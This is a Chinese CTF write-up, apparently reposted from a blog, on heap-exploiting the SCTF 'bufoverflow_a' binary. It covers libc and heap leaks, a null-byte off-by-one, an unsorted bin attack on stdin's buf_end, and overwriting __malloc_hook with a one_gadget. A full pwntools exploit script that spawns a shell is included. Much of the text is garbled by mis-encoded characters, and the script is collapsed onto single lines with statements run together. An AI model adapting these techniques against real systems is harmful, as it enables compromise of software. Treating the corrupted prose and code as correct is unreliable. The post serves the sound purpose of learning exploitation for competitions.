pwn学习之四
本來(lái)以為應(yīng)該能出一兩道ctf的pwn了,結(jié)果又被sctf打擊了一波。
bufoverflow_a
做這題時(shí)libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete會(huì)清0變量導(dǎo)致無(wú)法寫(xiě),一直沒(méi)構(gòu)造出unsorted bin attack,后面根據(jù)wp發(fā)現(xiàn)只要修改一下free的順序就行了。
這題的主要功能如下:
正常的堆題模板,1是申請(qǐng)堆,2是刪除堆,3是寫(xiě)剛申請(qǐng)的堆,4是輸出剛申請(qǐng)的堆的內(nèi)容,5結(jié)束。
首先泄露libc的地址,申請(qǐng)堆只能申請(qǐng)0x7f到0x1000的大小,也就是不能申請(qǐng)fastbin,構(gòu)造堆分布如下:
先申請(qǐng)兩個(gè)0x88的chunk,然后free chunk 1,再申請(qǐng)一個(gè)0x88的堆,這時(shí)候這個(gè)堆的fd和bk指向main_arena+88,再執(zhí)行show函數(shù)就可以泄露libc(這里注意不能申請(qǐng)過(guò)多堆,因?yàn)轭}目中只有堆的個(gè)數(shù)小于2的時(shí)候用的malloc,大于就用calloc,會(huì)清空堆的內(nèi)容)
堆地址也可以用類似方法泄露,構(gòu)造堆分布:
先申請(qǐng)4個(gè)0x88堆,再free堆塊1和堆塊3,堆塊4,這樣堆塊3,4,top_chunk會(huì)合并,這時(shí)top_chunk的fd會(huì)是chunk 1,所以再申請(qǐng)一個(gè)大于0x88的堆會(huì)從top_chunk分配再show就能泄露堆地址。
再fill函數(shù)中存在null byte off-by-one漏洞,常規(guī)思路就是用null byte off-by-one造成overlap然后unsorted bin attack,這題有scanf函數(shù),可以修改stdin的buf_end然后覆蓋malloc_hook成one_gadget,用house of orange應(yīng)該也是能出的。
?首先構(gòu)造堆塊如下:
先申請(qǐng)了4個(gè)堆塊,然后free掉第一個(gè)和第二個(gè)堆塊,再申請(qǐng)第一個(gè)堆塊,這樣就可以寫(xiě)第一個(gè)堆塊并使用漏洞將第二個(gè)堆塊的size最后一位修改為\x00,這時(shí)第二個(gè)堆塊還在unsorted bin里面。
接著繼續(xù)申請(qǐng)4個(gè)堆塊大小大于7f并且4個(gè)大小相加小于0x400。由于前面第二個(gè)堆塊的size改變了導(dǎo)致unsorted bin大小變了但是后面堆塊也就是之前申請(qǐng)的大小0x100的堆塊的pre_size并沒(méi)有更新(因?yàn)槭峭ㄟ^(guò)unsortedbin這個(gè)堆的size來(lái)找下一個(gè)堆的pre_size去修改,但是現(xiàn)在size小于原來(lái)的size,所以找到的位置并不是0x100的堆的pre_size的位置而是更上面的地方)。申請(qǐng)過(guò)后堆的情況如下:
?
接著按照上圖free 0x88,0x100,0x200,由于0x100的堆塊的pre_size還是之前的值,所以會(huì)和0x88的堆塊合并,就會(huì)造成一個(gè)大的unsortedbin并且包含了之前申請(qǐng)的0x200的堆塊。(這里要特別注意free的順序,由于只有剛申請(qǐng)的塊能夠?qū)懭?#xff0c;所以這里我們需要提前構(gòu)造一個(gè)unsorted bin在之后申請(qǐng)的堆的內(nèi)部,而unsorted bin是先入先出的結(jié)構(gòu)如果前面的未滿足申請(qǐng)的大小就會(huì)放入對(duì)應(yīng)的smallbin或者largebin里面,所以先f(wàn)ree了0x88,0x100使得兩個(gè)塊合并后有一個(gè)unsortedbin,再free 0x200得到第二個(gè)unsortedbin,這樣下次malloc的時(shí)候第一個(gè)unsortedbin符合返回了,就不會(huì)把后面的unsortedbin放入smallbin里面去了)。
申請(qǐng)一個(gè)大小為0x518的塊,這時(shí)這個(gè)塊就包含了里面0x200的那個(gè)unsortedbin塊,fill函數(shù)寫(xiě)入將unsortedbin的塊的bk改為stdin+0x30,接著申請(qǐng)一個(gè)0x208的塊就完成了unsorted bin attack,這時(shí)bk+0x10會(huì)被賦值為unsortedbin地址也就是main_arena+88,而stdin+0x30+0x10的位置就是buf_end的位置,所以buf_end被賦值為main_arena+88。
scanf寫(xiě)入時(shí)會(huì)先將輸入放入緩沖區(qū)內(nèi),再寫(xiě)入,而緩沖區(qū)的位置就是buf_base,大小是buf_end-buf_base,現(xiàn)在修改了buf_end,也就是說(shuō)我們可以任意寫(xiě)入值到buf_base到buf_end之間,而這之間就存在malloc_hook。
然而在這之間還需要保證兩個(gè)值的正確性,一個(gè)是lock一個(gè)是vtable,lock需要一個(gè)指向0的地址,vtable就用原來(lái)的地址就行,所以構(gòu)造payload如下:
payload = '1\n\x00\x00\x00' payload +=p64(malloc_hook-libc.symbols['__malloc_hook']+0x39b770) payload +=p64(0)*9+p64(malloc_hook-libc.symbols['__malloc_hook']+0x396440) payload = payload.ljust(0x1ad,'\x00') payload += p64(one_gadget)?這里看的wp都是前5個(gè)字符都是\x00,同樣可以使得程序進(jìn)入到1選項(xiàng)中去申請(qǐng)堆塊,不是很理解,應(yīng)該是和scanf接收\(chéng)x00的處理有關(guān),這里我構(gòu)造的前5個(gè)字節(jié)為'1\n\x00\x00\x00',因?yàn)閟canf碰到\n會(huì)將\n替換為\x00,這里就能保證輸入1,進(jìn)入了1選項(xiàng)后去申請(qǐng)一個(gè)大小的堆,就會(huì)跳到malloc_hook去執(zhí)行one_gadget拿到shell了。
exp:
from pwn import * p = process('./bufoverflow_a') #p = remote('116.62.152.176', 20001) #context.log_level = 'debug' p.recvuntil('>> ') def alloc(p,size):p.sendline('1')p.recvuntil('Size: ')p.sendline(size)p.recvuntil('>> ') def delete(p,index):p.sendline('2')p.recvuntil('Index: ')p.sendline(index)p.recvuntil('>> ') def fill(p,content):p.sendline('3')p.recvuntil('Content: ')p.send(content)p.recvuntil('>> ') def show(p):p.sendline('4') #gdb.attach(proc.pidof(p)[0]) #leak libc alloc(p,str(0x88)) #0 alloc(p,str(0x300)) #1 delete(p,str(0)) #free 0 alloc(p,str(0x88)) #0 show(p) main_arena = u64(p.recv(6).ljust(8,'\x00'))-88 print hex(main_arena) p.recvuntil('>> ') #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc = ELF('./libc.so.6') malloc_hook = main_arena-0x10 io_list_all_addr = libc.symbols['_IO_list_all']+malloc_hook-libc.symbols['__malloc_hook'] jump_table_addr = libc.symbols['_IO_file_jumps']+malloc_hook-libc.symbols['__malloc_hook'] system_addr = libc.symbols['system']+malloc_hook-libc.symbols['__malloc_hook'] stdin = libc.symbols['_IO_2_1_stdin_']+malloc_hook-libc.symbols['__malloc_hook'] binsh = libc.search('/bin/sh\x00').next()+malloc_hook-libc.symbols['__malloc_hook'] one_gadget = 0xd6655+malloc_hook -libc.symbols['__malloc_hook'] print 'one_gadget:',hex(one_gadget) #one_gadget = 0x45216+malloc_hook -libc.symbols['__malloc_hook'] print 'stdin:',hex(stdin) print 'lock:',hex(malloc_hook-libc.symbols['__malloc_hook']+0x39b770) print 'io_jump:',hex(malloc_hook-libc.symbols['__malloc_hook']+0x396440) #clear delete(p,str(0)) delete(p,str(1))#leak heap alloc(p,str(0x88))#0 alloc(p,str(0x88))#1 alloc(p,str(0x88))#2 alloc(p,str(0x88))#3 delete(p,str(0)) #free 0 delete(p,str(2)) #free 2 delete(p,str(3)) #free 3 alloc(p,str(0x100))#0 show(p) heap_addr = u64(p.recv(6).ljust(8,'\x00')) fake_heap = heap_addr-0x20+0x18 print hex(heap_addr) #clear p.recvuntil('>> ') delete(p,str(0)) delete(p,str(1))#unsafe unlink alloc(p,str(0x88))#0 alloc(p,str(0x400))#1 alloc(p,str(0x100))#2 alloc(p,str(0x88))#3delete(p,str(0)) delete(p,str(1)) alloc(p,str(0x88))#0 payload = 'a'*0x88 fill(p,payload)alloc(p,str(0x88)) #1 alloc(p,str(0x88)) #4 alloc(p,str(0x200)) #5 alloc(p,str(0xb8)) #6delete(p,str(1)) delete(p,str(2)) delete(p,str(5))alloc(p,str(0x518)) payload = 'a'*0x80 payload += p64(0) + p64(0x91) payload += 'b'*0x80 payload += p64(0) + p64(0x211) payload += p64(main_arena+88) + p64(stdin+0x30) fill(p,payload+'\n')alloc(p,str(0x208))'''payload = '1\n\x00\x00\x00'#'\x00'*5 payload += p64(malloc_hook-libc.symbols['__malloc_hook']+0x39b770) payload += p64(0xffffffffffffffff) + p64(0) payload += p64(malloc_hook-libc.symbols['__malloc_hook']+0x3999a0)+p64(0) payload += p64(0)*2 payload += p64(0xffffffff)+p64(0) payload += p64(0) + p64(malloc_hook-libc.symbols['__malloc_hook']+0x396440) payload += '\x00'*0x130 payload += p64(malloc_hook-libc.symbols['__malloc_hook']+0x395f00)+p64(0) payload += p64(malloc_hook-libc.symbols['__malloc_hook']+0x7c610)+p64(0) payload += p64(one_gadget)''' payload = '1\n\x00\x00\x00' payload +=p64(malloc_hook-libc.symbols['__malloc_hook']+0x39b770) payload +=p64(0)*9+p64(malloc_hook-libc.symbols['__malloc_hook']+0x396440) payload = payload.ljust(0x1ad,'\x00') payload += p64(one_gadget)p.sendline(payload) p.recvuntil('Size: ') p.sendline(str(0x88)) p.interactive()?主要寫(xiě)了一些在復(fù)現(xiàn)時(shí)候踩的坑和一些不理解的地方(大佬們可以自動(dòng)忽略這些廢話。。。)。
轉(zhuǎn)載于:https://www.cnblogs.com/lllkh/p/9251494.html
總結(jié)
- 上一篇: 缺了一部分
- 下一篇: 网络编程 socket介绍